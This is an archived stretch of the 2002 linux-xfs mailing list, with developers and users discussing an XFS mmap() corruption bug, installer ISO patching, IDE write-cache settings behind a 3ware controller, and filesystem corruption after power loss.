IGZpbGUgeGZzX2lhbGxvYy5jIGxpbmUgMTMxMwpFRlNDT1JSVVBURUQgcmV0 dXJuZWQgZnJvbSBmaWxlIHhmc19pYWxsb2MuYyBsaW5lIDEzMTMKRUZTQ09S UlVQVEVEIHJldHVybmVkIGZyb20gZmlsZSB4ZnNfaWFsbG9jLmMgbGluZSAx MzEzCkVGU0NPUlJVUFRFRCByZXR1cm5lZCBmcm9tIGZpbGUgeGZzX2lhbGxv Yy5jIGxpbmUgMTMxMwpFRlNDT1JSVVBURUQgcmV0dXJuZWQgZnJvbSBmaWxl IHhmc19pYWxsb2MuYyBsaW5lIDEzMTMKRUZTQ09SUlVQVEVEIHJldHVybmVk IGZyb20gZmlsZSB4ZnNfaWFsbG9jLmMgbGluZSAxMzEzCkVGU0NPUlJVUFRF RCByZXR1cm5lZCBmcm9tIGZpbGUgeGZzX2lhbGxvYy5jIGxpbmUgMTMxMwpF RlNDT1JSVVBURUQgcmV0dXJuZWQgZnJvbSBmaWxlIHhmc19pYWxsb2MuYyBs aW5lIDEzMTMKRUZTQ09SUlVQVEVEIHJldHVybmVkIGZyb20gZmlsZSB4ZnNf aWFsbG9jLmMgbGluZSAxMzEzCkVGU0NPUlJVUFRFRCByZXR1cm5lZCBmcm9t IGZpbGUgeGZzX2lhbGxvYy5jIGxpbmUgMTMxMwpFRlNDT1JSVVBURUQgcmV0 dXJuZWQgZnJvbSBmaWxlIHhmc19pYWxsb2MuYyBsaW5lIDEzMTMKRUZTQ09S UlVQVEVEIHJldHVybmVkIGZyb20gZmlsZSB4ZnNfaWFsbG9jLmMgbGluZSAx MzEzCkVGU0NPUlJVUFRFRCByZXR1cm5lZCBmcm9tIGZpbGUgeGZzX2lhbGxv Yy5jIGxpbmUgMTMxMwpFRlNDT1JSVVBURUQgcmV0dXJuZWQgZnJvbSBmaWxl IHhmc19pYWxsb2MuYyBsaW5lIDEzMTMKRUZTQ09SUlVQVEVEIHJldHVybmVk IGZyb20gZmlsZSB4ZnNfaWFsbG9jLmMgbGluZSAxMzEzCkVGU0NPUlJVUFRF RCByZXR1cm5lZCBmcm9tIGZpbGUgeGZzX2lhbGxvYy5jIGxpbmUgMTMxMwpF RlNDT1JSVVBURUQgcmV0dXJuZWQgZnJvbSBmaWxlIHhmc19pYWxsb2MuYyBs aW5lIDEzMTMKeGZzX2ZvcmNlX3NodXRkb3duKHNkKDgsMTgpLDB4OCkgY2Fs bGVkIGZyb20gbGluZSAxMDQxIG9mIGZpbGUgeGZzX3RyYW5zLmMuICBSZXR1 cm4gYWRkcmVzcyA9IDB4ZjhhOGI3MjkKQ29ycnVwdGlvbiBvZiBpbi1tZW1v cnkgZGF0YSBkZXRlY3RlZC4gIFNodXR0aW5nIGRvd24gZmlsZXN5c3RlbTog c2QoOCwxOCkKUGxlYXNlIHVtb3VudCB0aGUgZmlsZXN5c3RlbSwgYW5kIHJl Y3RpZnkgdGhlIHByb2JsZW0ocykK --=_5mCyUwZo2JvN/J-- From owner-linux-xfs@oss.sgi.com Tue Aug 6 03:25:38 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g76APcRw005535 for ; Tue, 6 Aug 2002 03:25:38 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g76APcxu005534 for linux-xfs-outgoing; Tue, 6 Aug 2002 03:25:38 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from fruit.eu.org (qmailr@17dyn28.ztm.casema.net [213.17.32.28]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g76APWRw005506 for ; Tue, 6 Aug 2002 03:25:33 -0700 Received: (qmail 9221 invoked by uid 500); 6 Aug 2002 10:27:26 -0000 Date: Tue, 6 Aug 2002 12:27:26 +0200 From: Wessel Dankers To: linux-xfs@oss.sgi.com Subject: Re: The mmap() problem is back Message-ID: <20020806102726.GI863@fruit.eu.org> Mail-Followup-To: linux-xfs@oss.sgi.com References: <20020805010731.F24705@plato.local.lan> <3674.1028557285@ocs3.intra.ocs.com.au> <20020805184232.GD863@fruit.eu.org> <1028584923.26861.9.camel@jen.americas.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1028584923.26861.9.camel@jen.americas.sgi.com> User-Agent: Mutt/1.4i X-oi: oi X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On 2002-08-05 17:02:03-0500, Steve Lord wrote: > > Can you try this change and let me know if it fixes it for you, > I did not check this in because I do not want to fix it this way, > but it will confirm where the problem is coming from: Yes, I just tried it and the problem goes away! -- Wessel Dankers Repeated reboots of the system failed to solve problem From owner-linux-xfs@oss.sgi.com Tue Aug 6 04:44:58 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g76BiwRw015100 for ; Tue, 6 Aug 2002 04:44:58 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g76Biwqo015099 for linux-xfs-outgoing; Tue, 6 Aug 2002 04:44:58 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from grunt.com.au (ns1.grunt.com.au [203.94.136.170]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g76BinRw015065 for ; Tue, 6 Aug 2002 04:44:50 -0700 Received: from grunt.com.au ([203.94.136.162]) by grunt.com.au (SGI-8.9.3/8.9.3) with ESMTP id VAA34639; Tue, 6 Aug 2002 21:43:23 +1000 (AEST) Message-ID: <3D4FB793.9000007@grunt.com.au> Date: Tue, 06 Aug 2002 21:48:35 +1000 From: Grant Fraser Organization: Grunt Graphics User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1 X-Accept-Language: en-us MIME-Version: 1.0 To: Eric Sandeen CC: Seth Mos , linux-xfs@oss.sgi.com Subject: Re: Red-Hat 7.3 SGI XFS bootable disk ?? References: <4.3.2.7.2.20020802095706.03a4fb18@pop.xs4all.nl> <1028298123.19802.0.camel@stout.americas.sgi.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-0.1 required=5.0 tests=SUBJ_ENDS_IN_Q_MARK version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hi guys, Thanks again, found the 7.3 SGI_XFS CD iso. But excuse my ignorance here but what is the .xdelta file for?? Its there with the iso file if I need it. Will try things again tommorrow, being on a break for a couple of days :) Cheers Eric Sandeen wrote: > On Fri, 2002-08-02 at 03:03, Seth Mos wrote: > > >>There also is a Red Hat 7.3 XFS installer disk on the site. >>Eric do we have a installer iso available that has the .xdelta file included? >> > > Nope, I'm reluctant to put yet another 300M file out there, the xdelta > and a readme are there, that will help save some bandwidth. :) > > -Eric > > -- -------------------------------------------- - Grant Fraser - Sydney Australia - - mailto:grantf@grunt.com.au - - http://www.grunt.com.au - - http://www.dlf.org.au - -------------------------------------------- From owner-linux-xfs@oss.sgi.com Tue Aug 6 04:56:18 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g76BuIRw015328 for ; Tue, 6 Aug 2002 04:56:18 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g76BuIBw015327 for linux-xfs-outgoing; Tue, 6 Aug 2002 04:56:18 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from chimta03.algx.net (chimta03.algx.net [216.99.233.78]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g76BuARw015298 for ; Tue, 6 Aug 2002 04:56:11 -0700 Received: from [192.168.10.106] (ip66-2-81-26.z81-2-66.customer.algx.net [66.2.81.26]) by chimmx03.algx.net (iPlanet Messaging Server 5.1 (built May 7 2001)) with ESMTP id <0H0D0035WKGZHC@chimmx03.algx.net> for linux-xfs@oss.sgi.com; Mon, 05 Aug 2002 09:34:12 -0500 (CDT) Date: Mon, 05 Aug 2002 10:34:24 -0400 From: John M Trostel Subject: Re: The mmap() problem is back In-reply-to: <3674.1028557285@ocs3.intra.ocs.com.au> To: Keith Owens Cc: Ethan Benson , linux-xfs@oss.sgi.com Message-id: <1028558065.1579.1.camel@jtsdell> MIME-version: 1.0 X-Mailer: Ximian Evolution 1.0.8 Content-type: text/plain Content-transfer-encoding: 7BIT References: <3674.1028557285@ocs3.intra.ocs.com.au> X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk What would be the _best_ method for people to quickly test for this? On Mon, 2002-08-05 at 10:21, Keith Owens wrote: > On Mon, 5 Aug 2002 01:07:31 -0800, > Ethan Benson wrote: > >On Mon, Aug 05, 2002 at 10:58:06AM +0200, Wessel Dankers wrote: > >> On 2002-08-03 18:59:41+0200, Wessel Dankers wrote: > >> > Also of note may be that I'm running it with the ngpt futex patch and t= > >he > >> > O(1) scheduler patch. > >>=20 > >> I just tried a kernel without any patches whatsoever: it exhibits the same > >> problem. I did notice that the file needs to be written in small chunks at > >> a time. For example: > >>=20 > >> dd if=3D/dev/zero of=3Dfoo bs=3D1024 count=3D9 > > > >i have reproduced this problem quite easily as well with a plain > >2.4.19 + split patches on powerpc, its not difficult at all to reproduce. > > Could people reporting this problem please include their compiler and > binutils versions (gcc -v ; ld -v). I am running 2.4.19-xfs from > immediately after it was released, and I cannot reproduce the problem. > Tested on UP and SMP using > Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.96/specs > gcc version 2.96 20000731 (Red Hat Linux 7.1 2.96-81) > GNU ld version 2.10.91 (with BFD 2.10.91.0.2) > -- John M. Trostel Senior Software Engineer Quantum Corp. / SSG john.trostel@quantum.com From owner-linux-xfs@oss.sgi.com Tue Aug 6 05:04:13 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g76C4CRw015600 for ; Tue, 6 Aug 2002 05:04:12 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g76C4CNI015599 for linux-xfs-outgoing; Tue, 6 Aug 2002 05:04:12 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g76C46Rw015571 for ; Tue, 6 Aug 2002 05:04:07 -0700 Received: from tulip-e185.americas.sgi.com (tulip-e185.americas.sgi.com [128.162.185.208]) by zeus-e8.americas.sgi.com (SGI-SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id HAA09776; Tue, 6 Aug 2002 07:05:58 -0500 (CDT) Received: from [192.168.1.100] (cf-vpn-sw-corp-64-34.corp.sgi.com [134.15.64.34]) by tulip-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id HAA89612; Tue, 6 Aug 2002 07:05:56 -0500 (CDT) Subject: Re: The mmap() problem is back From: Stephen Lord To: John M Trostel Cc: Keith Owens , Ethan Benson , linux-xfs@oss.sgi.com In-Reply-To: <1028558065.1579.1.camel@jtsdell> References: <3674.1028557285@ocs3.intra.ocs.com.au> <1028558065.1579.1.camel@jtsdell> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 06 Aug 2002 07:03:30 -0500 Message-Id: <1028635413.1122.2.camel@laptop.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Mon, 2002-08-05 at 09:34, John M Trostel wrote: > What would be the _best_ method for people to quickly test for this? > I found running something like dbench 32 and killing it half way through and then running mapcheck on the filesystem. This would usually produce a handful of files. This has probably been in the tree for a few weeks, I hope to come up with a better fix today. Steve From owner-linux-xfs@oss.sgi.com Tue Aug 6 05:26:11 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g76CQBRw016608 for ; Tue, 6 Aug 2002 05:26:11 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g76CQB7v016607 for linux-xfs-outgoing; Tue, 6 Aug 2002 05:26:11 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mx.de.kpnqwest.net (mx.de.kpnqwest.net [193.141.40.5]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g76CPnRw016575 for ; Tue, 6 Aug 2002 05:25:50 -0700 Received: from lizard.webland.de (lizard.webland.de [194.122.76.201]) by mx.de.kpnqwest.net (Postfix (mxkq02)) with ESMTP id D943BC2D1; Tue, 6 Aug 2002 13:59:21 +0200 (MEST) (envelope-from simon.matter@ch.sauter-bc.com) Received: (from uucp@localhost) by lizard.webland.de (8.8.8/8.8.7) id NAA01537; Tue, 6 Aug 2002 13:59:21 +0200 (MET DST) >Received: from mobile.sauter-bc.com (unknown [10.1.6.21]) by basel1.sauter-bc.com (Postfix) with ESMTP id 32B9E57306; Tue, 6 Aug 2002 13:58:06 +0200 (CEST) Received: from ch.sauter-bc.com (sup.cad.sba [10.1.200.117]) by mobile.sauter-bc.com (Postfix) with ESMTP id 7EF0325835; Tue, 6 Aug 2002 13:58:00 +0200 (CEST) Message-ID: <3D4FB9C8.A2C4EA91@ch.sauter-bc.com> Date: Tue, 06 Aug 2002 13:58:00 +0200 From: Simon Matter Organization: Sauter AG, Basel X-Mailer: Mozilla 4.77 [de] (X11; U; Linux 2.2.19-6.2.16 i686) X-Accept-Language: de-CH MIME-Version: 1.0 To: Greg Freemyer Cc: linux-xfs@oss.sgi.com Subject: Re: Turning off write protect of IDE drives hidden behind a 3ware controller? [WAS: recovery failed after power off] References: <20020805154453.LUY27309.imf02bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=us-ascii X-Spam-Status: No, hits=0.6 required=5.0 tests=SUBJ_HAS_Q_MARK,SUPERLONG_LINE version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Greg Freemyer schrieb: > > >> Greg Freemyer schrieb: > >> > > >> > >> On Fri, Aug 02, 2002 at 02:19:28PM +0200, Christian Thalinger > >> wrote: > >> > >> > Yep, IDE drive with write cache. Sorry, i could guess it myself. > >> > >> > Without write cache recovery seems to be ok. Now i have to find > >> out > >> > >> > how to disable write cache of IDE drives on a 3ware controller > >> ;-) > >> > > >> > >> This can be done both via the 3ware BIOS which you can enter at > >> bootup, > >> > >> or via the 3dmd web-based management system. > >> > > >> > >> --> Jijo > >> > > >> > I know that turns off the write cache on the 3ware controller itself. > >> > > >> > Does it also turn off the write cache on the underlying IDE drives? > > >> There are tools around, usually from the drive vendor, with which you > >> can change cache configuration. Unfortunately there are IDE drives > >> around which don't disable write cache even if they are configured to do > >> so. > > >> Simon > > Simon, > > I believe the 3ware controller effectively hides the IDE nature of the drives from the OS/bios and I doubt if the drive vendor's tools are smart enough to work in a 3ware environment. You're right. > > Are you suggesting that in a 3ware environment, one should move the IDE drives to a computer with standard IDE controllers; turn off the write cache, then move them back behind the 3ware controller? Exactly. > > I can see that working if the drives store that piece of their config in Non-volatile RAM, but I don't have that level of knowledge. There are several ways a harddisk can do this. The cheapest way would be that the drive writes those configuration data on a reserved sector on the disk. It doesn't matter how the drive does it, the only question is whether the drive actually _does_ what it is configured to do. Simon > > If that is what needs to be done, I can certainly do it, but it does seem to be a pain. > > Greg Freemyer > Internet Engineer > Deployment and Integration Specialist > Compaq ASE - Tru64 v4, v5 > Compaq Master ASE - SAN Architect > The Norcross Group > www.NorcrossGroup.com From owner-linux-xfs@oss.sgi.com Tue Aug 6 05:33:17 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g76CXHRw017669 for ; Tue, 6 Aug 2002 05:33:17 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g76CXHm1017668 for linux-xfs-outgoing; Tue, 6 Aug 2002 05:33:17 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from smtpzilla2.xs4all.nl (smtpzilla2.xs4all.nl [194.109.127.138]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g76CX9Rw017635 for ; Tue, 6 Aug 2002 05:33:10 -0700 Received: from auto-nb1.xs4all.nl (coltex.xs4all.nl [213.84.127.28]) by smtpzilla2.xs4all.nl (8.12.0/8.12.0) with ESMTP id g76CYxNC002151; Tue, 6 Aug 2002 14:35:00 +0200 (CEST) Message-Id: <4.3.2.7.2.20020806143031.03794030@pop.xs4all.nl> X-Sender: knuffie@pop.xs4all.nl X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Tue, 06 Aug 2002 14:32:06 +0200 To: Grant Fraser , Eric Sandeen From: Seth Mos Subject: Re: Red-Hat 7.3 SGI XFS bootable disk ?? Cc: linux-xfs@oss.sgi.com In-Reply-To: <3D4FB793.9000007@grunt.com.au> References: <4.3.2.7.2.20020802095706.03a4fb18@pop.xs4all.nl> <1028298123.19802.0.camel@stout.americas.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Spam-Status: No, hits=-4.5 required=5.0 tests=IN_REP_TO,SUBJ_ENDS_IN_Q_MARK version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk At 21:48 6-8-2002 +1000, Grant Fraser wrote: >Hi guys, > >Thanks again, found the 7.3 SGI_XFS CD iso. But excuse my ignorance here >but what is the .xdelta file for?? Its there with the iso file if I need it. Just after this ISO was released redhat spun a few new version which made the incompatible. If the installer complains that the CD's are not the correct ones then you need to apply the .xdelta file. There are windows instructions which you can find in the mailinglist. Cheers -- Seth It might just be your lucky day, if you only knew. From owner-linux-xfs@oss.sgi.com Tue Aug 6 08:01:47 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g76F1lRw026813 for ; Tue, 6 Aug 2002 08:01:47 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g76F1lsY026811 for linux-xfs-outgoing; Tue, 6 Aug 2002 08:01:47 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from moutng2.kundenserver.de (moutng.kundenserver.de [212.227.126.176]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g76F1bRw026780 for ; Tue, 6 Aug 2002 08:01:38 -0700 Received: from [212.227.126.160] (helo=mrelayng0.kundenserver.de) by moutng2.kundenserver.de with esmtp (Exim 3.35 #2) id 17c5rt-0002La-00 for linux-xfs@oss.sgi.com; Tue, 06 Aug 2002 17:03:29 +0200 Received: from pd9e4fdae.dip.t-dialin.net ([217.228.253.174] helo=aevum.de) by mrelayng0.kundenserver.de with asmtp (Exim 3.35 #2) id 17c5rs-0000GD-00 for linux-xfs@oss.sgi.com; Tue, 06 Aug 2002 17:03:29 +0200 Message-ID: <3D4FE4EE.6060509@aevum.de> Date: Tue, 06 Aug 2002 17:02:06 +0200 From: wellnhofer@aevum.de User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020722 X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: Filesystem corruption with linux-xfs 2.4.19 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g76F1dRw026783 X-Spam-Status: No, hits=0.6 required=5.0 tests=NO_REAL_NAME version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hi, i just installed the latest Linux kernel 2.4.19 with XFS patches. After running it for about an hour i noticed all kinds of strange behaviour: stuck processes, strange error messages on file operations, files that could not be deleted. I repaired the filesystem using xfs_repair, which found some errors and then tried again with the same results. Now I'm using 2.4.18-xfs without problems. The machine is a dual-celeron with IDE disks. I have not tried if the problem is SMP-related. If you need further information just email me. Nick -- The hot Caribbean sun and a sweet sea breeze are all that can be felt. http://matadorworld.com/ -- aevum gmbh leopoldstr. 87 80802 münchen germany fon: +4989 38380653 fax: +4989 38799384 wellnhofer@aevum.de http://www.aevum.de From owner-linux-xfs@oss.sgi.com Tue Aug 6 08:43:39 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g76FhdRw027541 for ; Tue, 6 Aug 2002 08:43:39 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g76FhdNJ027540 for linux-xfs-outgoing; Tue, 6 Aug 2002 08:43:39 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from UberGeek ([209.184.141.189]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g76FhPRw027504 for ; Tue, 6 Aug 2002 08:43:25 -0700 Received: (qmail 6632 invoked by uid 500); 6 Aug 2002 15:45:12 -0000 Subject: Re: Filesystem corruption with linux-xfs 2.4.19 From: Austin Gonyou To: wellnhofer@aevum.de Cc: linux-xfs@oss.sgi.com In-Reply-To: <3D4FE4EE.6060509@aevum.de> References: <3D4FE4EE.6060509@aevum.de> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-6u4HEB6wHAGHsecmhlx7" Organization: Coremetrics, Inc. Message-Id: <1028648711.6549.5.camel@UberGeek.coremetrics.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.1.0.99 (Preview Release) Date: 06 Aug 2002 10:45:12 -0500 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk --=-6u4HEB6wHAGHsecmhlx7 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable could you try the 2.4.19-rc5-aa1 patch please and tell us if you have problems. I'm thinking you won't. I'm running it on 3 systems right now, a Dell 6650(quad P4 xeon box with 8GB Ram), a Dell 1550 Dual P3, and an Athlon-C 1.333Ghz UP.=20 No problems anywhere. the two servers are SCSI, and home is IDE. Only solid performance so far.=20 On Tue, 2002-08-06 at 10:02, wellnhofer@aevum.de wrote: > Hi, >=20 > i just installed the latest Linux kernel 2.4.19 with XFS patches. > After=20 > running it for about an hour i noticed all kinds of strange behaviour: > stuck processes, strange error messages on file operations, files that > could not be deleted. >=20 > I repaired the filesystem using xfs_repair, which found some errors > and=20 > then tried again with the same results. >=20 > Now I'm using 2.4.18-xfs without problems. >=20 > The machine is a dual-celeron with IDE disks. I have not tried if the=20 > problem is SMP-related. If you need further information just email me. >=20 >=20 > Nick >=20 >=20 > --=20 > The hot Caribbean sun and a sweet sea breeze are all that can be felt. > http://matadorworld.com/ > -- > aevum gmbh > leopoldstr. 87 > 80802 m=FCnchen > germany >=20 > fon: +4989 38380653 > fax: +4989 38799384 > wellnhofer@aevum.de > http://www.aevum.de --=20 Austin Gonyou Coremetrics, Inc. --=-6u4HEB6wHAGHsecmhlx7 Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA9T+8H94g6ZVmFMoIRAnVFAKC/6M3gxBgwKLdkKmfwrsllR/zs4QCfc3Lf sXXZsmONBuu0Dqcu8BfkeYU= =v+1j -----END PGP SIGNATURE----- --=-6u4HEB6wHAGHsecmhlx7-- From owner-linux-xfs@oss.sgi.com Tue Aug 6 11:19:23 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g76IJNRw003847 for ; Tue, 6 Aug 2002 11:19:23 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g76IJNmq003846 for linux-xfs-outgoing; Tue, 6 Aug 2002 11:19:23 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from UberGeek ([209.184.141.189]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g76IJ9Rw003802 for ; Tue, 6 Aug 2002 11:19:09 -0700 Received: (qmail 7126 invoked by uid 500); 6 Aug 2002 18:20:55 -0000 Subject: Re: Filesystem corruption with linux-xfs 2.4.19 From: Austin Gonyou To: wellnhofer@aevum.de Cc: linux-xfs@oss.sgi.com In-Reply-To: <1028648711.6549.5.camel@UberGeek.coremetrics.com> References: <1028648711.6549.5.camel@UberGeek.coremetrics.com> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-HHJv3dRz535UBTdHkEq0" Organization: Coremetrics, Inc. Message-Id: <1028658054.6547.57.camel@UberGeek.coremetrics.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.1.0.99 (Preview Release) Date: 06 Aug 2002 13:20:55 -0500 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk --=-HHJv3dRz535UBTdHkEq0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Just FYI also, anyone experiencing this problem may want to see if they can get -AC4 or greater patches. On Tue, 2002-08-06 at 10:45, Austin Gonyou wrote: > could you try the 2.4.19-rc5-aa1 patch please and tell us if you have > problems. I'm thinking you won't. I'm running it on 3 systems right now, > a Dell 6650(quad P4 xeon box with 8GB Ram), a Dell 1550 Dual P3, and an > Athlon-C 1.333Ghz UP.=20 >=20 > No problems anywhere. the two servers are SCSI, and home is IDE. Only > solid performance so far.=20 >=20 >=20 >=20 > On Tue, 2002-08-06 at 10:02, wellnhofer@aevum.de wrote: > > Hi, > >=20 > > i just installed the latest Linux kernel 2.4.19 with XFS patches. > > After=20 > > running it for about an hour i noticed all kinds of strange behaviour: > > stuck processes, strange error messages on file operations, files that > > could not be deleted. > >=20 > > I repaired the filesystem using xfs_repair, which found some errors > > and=20 > > then tried again with the same results. > >=20 > > Now I'm using 2.4.18-xfs without problems. > >=20 > > The machine is a dual-celeron with IDE disks. I have not tried if the= =20 > > problem is SMP-related. If you need further information just email me. > >=20 > >=20 > > Nick > >=20 > >=20 > > --=20 > > The hot Caribbean sun and a sweet sea breeze are all that can be felt. > > http://matadorworld.com/ > > -- > > aevum gmbh > > leopoldstr. 87 > > 80802 m=FCnchen > > germany > >=20 > > fon: +4989 38380653 > > fax: +4989 38799384 > > wellnhofer@aevum.de > > http://www.aevum.de > --=20 > Austin Gonyou > Coremetrics, Inc. --=20 Austin Gonyou Coremetrics, Inc. --=-HHJv3dRz535UBTdHkEq0 Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA9UBOG94g6ZVmFMoIRAj6hAKDq9Y612Ft3ob/dOZiQtumyi1MX8QCeJELq iHNfTnjsMdQay4R1J8sNj1M= =MaOf -----END PGP SIGNATURE----- --=-HHJv3dRz535UBTdHkEq0-- From owner-linux-xfs@oss.sgi.com Tue Aug 6 16:27:08 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g76NR8Rw015840 for ; Tue, 6 Aug 2002 16:27:08 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g76NR8Vj015839 for linux-xfs-outgoing; Tue, 6 Aug 2002 16:27:08 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from web40207.mail.yahoo.com (web40207.mail.yahoo.com [66.218.78.68]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g76NR1Rw015811 for ; Tue, 6 Aug 2002 16:27:01 -0700 Message-ID: <20020806232855.58551.qmail@web40207.mail.yahoo.com> Received: from [63.121.140.220] by web40207.mail.yahoo.com via HTTP; Tue, 06 Aug 2002 16:28:55 PDT Date: Tue, 6 Aug 2002 16:28:55 -0700 (PDT) From: Brian Kuschak Subject: specific xfs corruption problem To: linux-xfs@oss.sgi.com MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk - XFS 1.0 / linux 2.4.2 - CompactFlash media - power failures generated during testing Garbage pattern found throughout the filesystem, in data blocks, log, etc. 8937 occurances in one 128MB partition, 8895 in another 128MB partition. 00 73 00 fa 00 63 00 c2 00 73 00 fa 00 63 00 d2 always found at an offset of 0x140 from a sector boundary. XFS replays the log after power failure, attempts to complete an interrupted inode operation, and gets bogus values for the ilf_blkno and ilf_len and ilf_boffset - oopses due to a NULL pointer. xfs_logprint also reports errors. The filesystem is not mountable. As I have to support this older version of XFS in my product, I'd like to know if this is a known issue in XFS 1.0 and if so whether an update to 1.1 might fix it. It is possible that this is due to power-fail problems in the CF card, but 8900 occurrances sounds awfully high... 